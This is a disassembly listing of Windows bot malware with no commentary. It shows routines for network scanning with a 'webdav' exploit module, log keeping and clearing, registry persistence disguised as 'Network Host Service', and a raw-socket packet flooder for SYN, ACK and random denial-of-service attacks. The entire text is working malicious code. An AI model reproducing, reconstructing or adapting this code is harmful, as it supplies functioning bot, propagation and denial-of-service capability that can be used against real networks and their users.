		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_254]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_401A78
		lea	eax, [ebp+var_140]


loc_401A78:				; CODE XREF: sub_401967+109j
		push	eax
		push	[ebp+var_40]
		call	sub_4056FB
		add	esp, 14h


loc_401A84:				; CODE XREF: sub_401967+EEj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_401EFF
		mov	[esp+3B0h+var_3B0], offset dword_42F5C0
		call	ds:dword_420018	; RtlLeaveCriticalSection
		jmp	loc_401B6E
; ---------------------------------------------------------------------------


loc_401AA2:				; CODE XREF: sub_401967+BEj
		push	esi
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_4145E5
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aWebdav ; "webdav"
		push	eax
		lea	eax, [ebp+var_27C]
		push	eax
		call	sub_4145E5
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_401AE6
		lea	eax, [ebp+var_140]


loc_401AE6:				; CODE XREF: sub_401967+177j
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_4145E5
		mov	eax, [ebp+var_144]
		pop	ecx
		mov	[ebp+var_300], eax
		pop	ecx
		xor	eax, eax


loc_401B03:				; CODE XREF: sub_401967+1ADj
		mov	cl, [ebp+eax+var_1C4]
		mov	[ebp+eax+var_380], cl
		inc	eax
		test	cl, cl
		jnz	short loc_401B03
		mov	eax, [ebp+var_40]
		mov	[ebp+var_394], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_260], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_268], eax
		imul	eax, 3Ch
		sub	esp, 140h
		push	50h
		pop	ecx
		mov	[ebp+var_26C], edi
		lea	esi, [ebp+var_394]
		mov	edi, esp
		rep movsd
		call	off_42B06C[eax]
		mov	edi, [ebp+var_4]
		add	esp, 140h


loc_401B6E:				; CODE XREF: sub_401967+B4j
					; sub_401967+136j
		push	7D0h
		call	ds:dword_420000	; Sleep


loc_401B79:				; CODE XREF: sub_401967+47j
		mov	eax, dword_436684[ebx]
		cmp	dword_42E624[eax*8], 0
		jnz	loc_4019B3
		push	edi
		call	sub_412735
		pop	ecx
		push	0
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_401967	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_401B9D	proc near		; DATA XREF: sub_408A18+402Co
					; sub_408A18+5A74o

var_304		= dword	ptr -304h
var_250		= byte ptr -250h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 250h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	74h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_250]
		rep movsd
		mov	dword ptr [eax+1C8h], 1
		lea	eax, [ebp+74h+var_250]
		push	eax
		call	dword_43585C	; inet_addr
		mov	ecx, [ebp+74h+var_AC]
		sub	esp, 1D0h
		mov	dword_42E620[ecx*8], eax
		push	74h
		pop	ecx
		lea	esi, [ebp+74h+var_250]
		mov	edi, esp
		rep movsd
		call	sub_401141
		xor	ebx, ebx
		add	esp, 1D0h
		cmp	[ebp+74h+var_1C0], ebx
		jnz	short loc_401C0F
		mov	eax, dword_43533C
		mov	[ebp+74h+var_1C0], eax


loc_401C0F:				; CODE XREF: sub_401B9D+65j
		push	9
		call	sub_412661
		xor	edi, edi
		inc	edi
		cmp	eax, edi
		pop	ecx
		jnz	short loc_401C7F
		mov	esi, offset dword_42F5C0
		push	esi
		call	ds:dword_420024	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_420020	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_401C7F
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical	s"...
		push	eax
		call	sub_4145E5
		cmp	[ebp+74h+var_90], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401C69
		push	ebx
		push	[ebp+74h+var_94]
		lea	eax, [ebp+74h+var_80]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4056FB
		add	esp, 14h


loc_401C69:				; CODE XREF: sub_401B9D+B0j
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401EFF
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401C7F:				; CODE XREF: sub_401B9D+7Fj
					; sub_401B9D+9Bj
		cmp	[ebp+74h+var_A0], edi
		mov	eax, [ebp+74h+var_AC]
		mov	esi, ds:dword_420000
		mov	dword_42E624[eax*8], edi
		jb	loc_401D30


loc_401C98:				; CODE XREF: sub_401B9D+18Dj
		push	edi
		push	[ebp+74h+var_AC]
		lea	eax, [ebp+74h+var_250]
		push	[ebp+74h+var_B8]
		mov	[ebp+74h+var_A4], edi
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+74h+var_80]
		push	9
		push	eax
		call	sub_412471
		mov	ecx, [ebp+74h+var_AC]
		mov	[ebp+74h+var_A8], eax
		imul	eax, 234h
		add	esp, 24h
		push	ebx
		push	ebx
		mov	dword_436684[eax], ecx
		lea	eax, [ebp+74h+var_250]
		push	eax
		push	offset sub_401967
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+74h+var_A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		jnz	short loc_401D47
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401EFF
		add	esp, 10h


loc_401D22:				; CODE XREF: sub_401B9D+1AFj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+74h+var_A0]
		jbe	loc_401C98


loc_401D30:				; CODE XREF: sub_401B9D+F5j
		cmp	[ebp+74h+var_B0], ebx
		jz	short loc_401D55
		mov	eax, [ebp+74h+var_B0]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_401D62
; ---------------------------------------------------------------------------


loc_401D43:				; CODE XREF: sub_401B9D+1ADj
		push	1Eh
		call	esi	; Sleep


loc_401D47:				; CODE XREF: sub_401B9D+162j
		cmp	[ebp+74h+var_84], ebx
		jz	short loc_401D43
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D4E:				; CODE XREF: sub_401B9D+1C3j
		push	7D0h
		call	esi	; Sleep


loc_401D55:				; CODE XREF: sub_401B9D+196j
		mov	eax, [ebp+74h+var_AC]
		cmp	dword_42E624[eax*8], 1
		jz	short loc_401D4E


loc_401D62:				; CODE XREF: sub_401B9D+1A4j
		push	[ebp+74h+var_B0]
		mov	eax, [ebp+74h+var_AC]
		push	[ebp+74h+var_B8]
		mov	eax, dword_42E620[eax*8]
		push	eax
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	sub_4145E5
		add	esp, 14h
		cmp	[ebp+74h+var_90], ebx
		jnz	short loc_401DAA
		push	ebx
		push	[ebp+74h+var_94]
		lea	eax, [ebp+74h+var_80]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4056FB
		add	esp, 14h


loc_401DAA:				; CODE XREF: sub_401B9D+1F1j
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401EFF
		mov	eax, [ebp+74h+var_AC]
		mov	dword_42E624[eax*8], ebx
		mov	[esp+290h+var_304], 0BB8h
		call	esi	; Sleep
		push	9
		call	sub_412661
		cmp	eax, 1
		pop	ecx
		jnz	short loc_401DDE
		push	offset dword_42F5C0
		call	ds:dword_420024	; RtlDeleteCriticalSection


loc_401DDE:				; CODE XREF: sub_401B9D+234j
		push	[ebp+74h+var_AC]
		call	sub_412735
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_401B9D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401DEF	proc near		; CODE XREF: sub_408A18+367Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	edi, offset dword_47B378


loc_401DF9:				; CODE XREF: sub_401DEF+4Dj
		cmp	byte ptr [edi],	0
		jz	short loc_401E40
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, edi


loc_401E04:				; CODE XREF: sub_401DEF+31j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_401E26
		test	cl, cl
		jz	short loc_401E22
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_401E26
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_401E04


loc_401E22:				; CODE XREF: sub_401DEF+1Fj
		xor	eax, eax
		jmp	short loc_401E2B
; ---------------------------------------------------------------------------


loc_401E26:				; CODE XREF: sub_401DEF+1Bj
					; sub_401DEF+29j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_401E2B:				; CODE XREF: sub_401DEF+35j
		test	eax, eax
		jz	short loc_401E40
		add	edi, 0B8h
		inc	ebx
		cmp	edi, offset dword_47BEF8
		jl	short loc_401DF9
		jmp	short loc_401E81
; ---------------------------------------------------------------------------


loc_401E40:				; CODE XREF: sub_401DEF+Dj
					; sub_401DEF+3Ej
		mov	esi, ebx
		imul	esi, 0B8h
		push	2Eh
		pop	ecx
		push	17h
		push	[esp+10h+arg_0]
		lea	edx, dword_47B378[esi]
		xor	eax, eax
		mov	edi, edx
		push	edx
		rep stosd
		call	sub_414670
		push	9Fh
		push	[esp+1Ch+arg_4]
		lea	eax, dword_47B390[esi]
		push	eax
		call	sub_414670
		add	esp, 18h
		inc	dword_42C2F8


loc_401E81:				; CODE XREF: sub_401DEF+4Fj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_401DEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E87	proc near		; CODE XREF: sub_408A18+4A8Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_47B378


loc_401EB1:				; CODE XREF: sub_401E87+72j
		cmp	byte ptr [esi],	0
		jz	short loc_401EEC
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41483D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 2Ch


loc_401EEC:				; CODE XREF: sub_401E87+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_47BEF8
		jl	short loc_401EB1
		pop	edi
		pop	esi
		leave
		retn
sub_401E87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EFF	proc near		; CODE XREF: sub_401000+BEp
					; sub_4010CA+6Dp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_420028	; GetLocalTime
		mov	ebx, offset dword_433ED8
		mov	edi, 80h
		mov	esi, offset dword_42FED8


loc_401F21:				; CODE XREF: sub_401EFF+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_401F38
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_414670
		add	esp, 0Ch


loc_401F38:				; CODE XREF: sub_401EFF+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_401F21
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41483D
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401EFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F73	proc near		; CODE XREF: sub_4088B9+A4p
					; sub_408A18:loc_40BDE3p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_80]
		push	80h
		push	eax
		call	sub_414894
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_401EFF
		add	esp, 14h
		leave
		retn
sub_401F73	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F9F	proc near		; CODE XREF: sub_408A18+497Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_42FED8
		xor	ecx, ecx


loc_401FA6:				; CODE XREF: sub_401F9F+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_433ED8
		jl	short loc_401FA6
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
		jnz	short loc_401FD6
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_401FD6:				; CODE XREF: sub_401F9F+1Fj
		push	esi
		call	sub_401EFF
		pop	ecx
		pop	esi
		retn
sub_401F9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FDF	proc near		; CODE XREF: .text:00413EF4p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_42FED8


loc_401FE5:				; CODE XREF: sub_401FDF+27j
		cmp	byte ptr [esi],	0
		jz	short loc_401FFA
		push	[esp+4+arg_0]
		push	esi
		call	sub_406BF3
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40200C


loc_401FFA:				; CODE XREF: sub_401FDF+9j
		add	esi, 80h
		cmp	esi, offset dword_433ED8
		jl	short loc_401FE5
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40200C:				; CODE XREF: sub_401FDF+19j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_401FDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402011	proc near		; DATA XREF: sub_408A18+4A35o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	edi, edi
		xor	edx, edx
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_402064
		push	edx
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	offset aLogBegin ; "[LOG]: Begin"
		push	eax
		push	[ebp+var_11C]
		call	sub_4056FB
		add	esp, 14h


loc_402064:				; CODE XREF: sub_402011+33j
		cmp	[ebp+var_98], 0
		jz	short loc_402084
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_414972
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_402084
		mov	[ebp+var_8], eax


loc_402084:				; CODE XREF: sub_402011+5Aj
					; sub_402011+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_42FED8


loc_40208D:				; CODE XREF: sub_402011+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_4020E7
		cmp	byte ptr [esi],	0
		jz	short loc_4020D6
		cmp	[ebp+var_98], 0
		jz	short loc_4020BC
		cmp	[ebp+var_4], 0
		jnz	short loc_4020BC
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_406BF3
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4020D6


loc_4020BC:				; CODE XREF: sub_402011+90j
					; sub_402011+96j
		push	edi
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_4056FB
		add	esp, 14h


loc_4020D6:				; CODE XREF: sub_402011+87j
					; sub_402011+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_433ED8
		jl	short loc_40208D


loc_4020E7:				; CODE XREF: sub_402011+82j
		lea	eax, [ebp+var_31C]
		push	offset aLogListComplet ; "[LOG]: List complete."
		push	eax
		call	sub_4145E5
		xor	esi, esi
		cmp	[ebp+var_10], esi
		pop	ecx
		pop	ecx
		jnz	short loc_402121
		push	esi
		push	[ebp+var_14]
		lea	eax, [ebp+var_31C]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_4056FB
		add	esp, 14h


loc_402121:				; CODE XREF: sub_402011+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_401EFF
		push	[ebp+var_18]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_402011	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40213F	proc near		; CODE XREF: sub_406A33+1Ep
					; sub_40E745+34Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset aNetworkHostSer ; "Network Host Service"


loc_40214F:				; CODE XREF: sub_40213F+6Fj
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	off_42B3CC[edi]
		push	dword_42B3C8[edi]
		call	dword_435830	; RegCreateKeyExA
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_402195
		lea	edx, [eax+1]


loc_402179:				; CODE XREF: sub_40213F+3Fj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_402179
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4357CC	; RegSetValueExA
		jmp	short loc_40219F
; ---------------------------------------------------------------------------


loc_402195:				; CODE XREF: sub_40213F+35j
		push	esi
		push	[ebp+var_4]
		call	dword_435824	; RegDeleteValueA


loc_40219F:				; CODE XREF: sub_40213F+54j
		push	[ebp+var_4]
		call	dword_4358C4	; RegCloseKey
		add	edi, 8
		cmp	edi, 18h
		jb	short loc_40214F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40213F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=64h


sub_4021B5	proc near		; CODE XREF: sub_4024E0+40p

var_288		= byte ptr -288h
var_F8		= byte ptr -0F8h
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_A4		= byte ptr -0A4h
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_73		= byte ptr -73h
var_72		= word ptr -72h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		lea	ebp, [esp-64h]
		sub	esp, 288h
		and	[ebp+64h+var_B8], 0
		push	edi
		push	0Eh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+64h+var_B7]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+64h+var_288]
		push	eax
		push	202h
		call	dword_4357F8	; WSAStartup
		test	eax, eax
		jz	short loc_4021EF
		xor	eax, eax
		jmp	loc_4024B1
; ---------------------------------------------------------------------------


loc_4021EF:				; CODE XREF: sub_4021B5+31j
		push	esi
		xor	esi, esi
		inc	esi
		push	esi
		xor	edi, edi
		push	edi
		push	edi
		push	0FFh
		push	3
		push	2
		call	dword_43576C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+64h+var_24], eax
		jz	loc_4024A8
		push	4
		lea	ecx, [ebp+64h+var_44]
		push	ecx
		push	2
		push	edi
		push	eax
		mov	[ebp+64h+var_44], esi
		call	dword_435804	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_40249F
		push	ebx
		push	[ebp+64h+arg_C]
		mov	[ebp+64h+var_5C], 2
		call	dword_435934	; ntohs
		mov	ebx, [ebp+64h+arg_0]
		push	28h
		mov	[ebp+64h+var_5A], ax
		mov	[ebp+64h+var_58], ebx
		mov	[ebp+64h+var_38], 45h
		call	dword_435934	; ntohs
		push	[ebp+64h+arg_C]
		mov	[ebp+64h+var_36], ax
		mov	[ebp+64h+var_34], si
		mov	[ebp+64h+var_32], di
		mov	[ebp+64h+var_30], 80h
		mov	[ebp+64h+var_2F], 6
		mov	[ebp+64h+var_2E], di
		mov	[ebp+64h+var_28], ebx
		call	dword_435934	; ntohs
		mov	[ebp+64h+var_16], ax
		call	sub_4147A1
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_435934	; ntohs
		push	12345678h
		call	dword_43590C	; ntohl
		mov	esi, [ebp+64h+arg_8]
		push	9
		mov	edi, offset aDdos_syn ;	"ddos.syn"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4022B9
		and	[ebp+64h+var_10], eax
		mov	[ebp+64h+var_B], 2
		jmp	short loc_402309
; ---------------------------------------------------------------------------


loc_4022B9:				; CODE XREF: sub_4021B5+F9j
		mov	esi, [ebp+64h+arg_8]
		push	9
		mov	edi, offset aDdos_ack ;	"ddos.ack"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4022D3
		and	[ebp+64h+var_10], eax
		mov	[ebp+64h+var_B], 10h
		jmp	short loc_402309
; ---------------------------------------------------------------------------


loc_4022D3:				; CODE XREF: sub_4021B5+113j
		mov	esi, [ebp+64h+arg_8]
		push	0Ch
		mov	edi, offset aDdos_random ; "ddos.random"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402309
		call	sub_4147A1
		cdq
		push	3
		pop	ecx
		idiv	ecx
		mov	[ebp+64h+var_10], edx
		call	sub_4147A1
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+64h+var_B], dl


loc_402309:				; CODE XREF: sub_4021B5+102j
					; sub_4021B5+11Cj ...
		push	4000h
		mov	[ebp+64h+var_C], 50h
		call	dword_435934	; ntohs
		and	[ebp+64h+var_6], 0
		and	[ebp+64h+var_4], 0
		mov	[ebp+64h+var_A], ax
		lea	eax, [ebp+64h+var_4C]
		push	eax
		call	ds:dword_420030	; QueryPerformanceFrequency
		lea	eax, [ebp+64h+var_20]
		push	eax
		call	ds:dword_42002C	; QueryPerformanceCounter
		push	[ebp+64h+var_48]
		mov	eax, [ebp+64h+arg_10]
		push	[ebp+64h+var_4C]
		cdq
		push	edx
		push	eax
		call	sub_414E90
		add	eax, [ebp+64h+var_20]
		adc	edx, [ebp+64h+var_1C]
		mov	[ebp+64h+var_40], eax
		mov	[ebp+64h+var_3C], edx


loc_402356:				; CODE XREF: sub_4021B5+2D4j
					; sub_4021B5+2E0j
		and	[ebp+64h+var_8], 0
		call	sub_4147A1
		push	2
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_402380
		call	sub_4147A1
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		jmp	short loc_402382
; ---------------------------------------------------------------------------


loc_402380:				; CODE XREF: sub_4021B5+1B3j
		push	50h


loc_402382:				; CODE XREF: sub_4021B5+1C9j
		call	dword_435934	; ntohs
		mov	[ebp+64h+var_18], ax
		call	sub_4147A1
		call	sub_4147A1
		push	eax
		call	dword_435934	; ntohs
		push	[ebp+64h+arg_4]
		movzx	eax, ax
		mov	[ebp+64h+var_14], eax
		call	dword_43590C	; ntohl
		inc	[ebp+64h+arg_4]
		cmp	word ptr [ebp+64h+arg_C], 0
		mov	esi, eax
		mov	[ebp+64h+var_2C], esi
		jnz	short loc_4023DF
		call	sub_4147A1
		mov	edi, eax
		call	sub_4147A1
		add	edi, eax
		movzx	eax, di
		cdq
		mov	ecx, 0EA60h
		idiv	ecx
		push	edx
		call	dword_435934	; ntohs
		mov	[ebp+64h+var_16], ax


loc_4023DF:				; CODE XREF: sub_4021B5+204j
		and	[ebp+64h+var_74], 0
		push	14h
		mov	[ebp+64h+var_78], ebx
		mov	[ebp+64h+var_73], 6
		call	dword_435934	; ntohs
		push	8
		pop	ecx
		mov	[ebp+64h+var_7C], esi
		mov	[ebp+64h+var_72], ax
		push	5
		lea	esi, [ebp+64h+var_7C]
		lea	edi, [ebp+64h+var_B8]
		rep movsd
		pop	ecx
		lea	eax, [ebp+64h+var_B8]
		push	34h
		lea	esi, [ebp+64h+var_18]
		lea	edi, [ebp+64h+var_98]
		push	eax
		rep movsd
		call	sub_407DA7
		push	5
		pop	ecx
		push	5
		lea	esi, [ebp+64h+var_38]
		lea	edi, [ebp+64h+var_B8]
		rep movsd
		mov	[ebp+64h+var_8], ax
		pop	ecx
		lea	esi, [ebp+64h+var_18]
		lea	edi, [ebp+64h+var_A4]
		rep movsd
		xor	eax, eax
		lea	edi, [ebp+64h+var_90]
		stosd
		lea	eax, [ebp+64h+var_B8]
		push	28h
		push	eax
		call	sub_407DA7
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+64h+var_2E], ax
		lea	esi, [ebp+64h+var_38]
		lea	edi, [ebp+64h+var_B8]
		lea	eax, [ebp+64h+var_5C]
		push	eax
		rep movsd
		xor	edi, edi
		push	edi
		push	28h
		lea	eax, [ebp+64h+var_B8]
		push	eax
		push	[ebp+64h+var_24]
		call	dword_4357B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4024B7
		add	[ebp+64h+var_4], eax
		lea	eax, [ebp+64h+var_20]
		push	eax
		call	ds:dword_42002C	; QueryPerformanceCounter
		mov	eax, [ebp+64h+var_1C]
		cmp	eax, [ebp+64h+var_3C]
		jg	short loc_40249B
		jl	loc_402356
		mov	eax, [ebp+64h+var_20]
		cmp	eax, [ebp+64h+var_40]
		jb	loc_402356


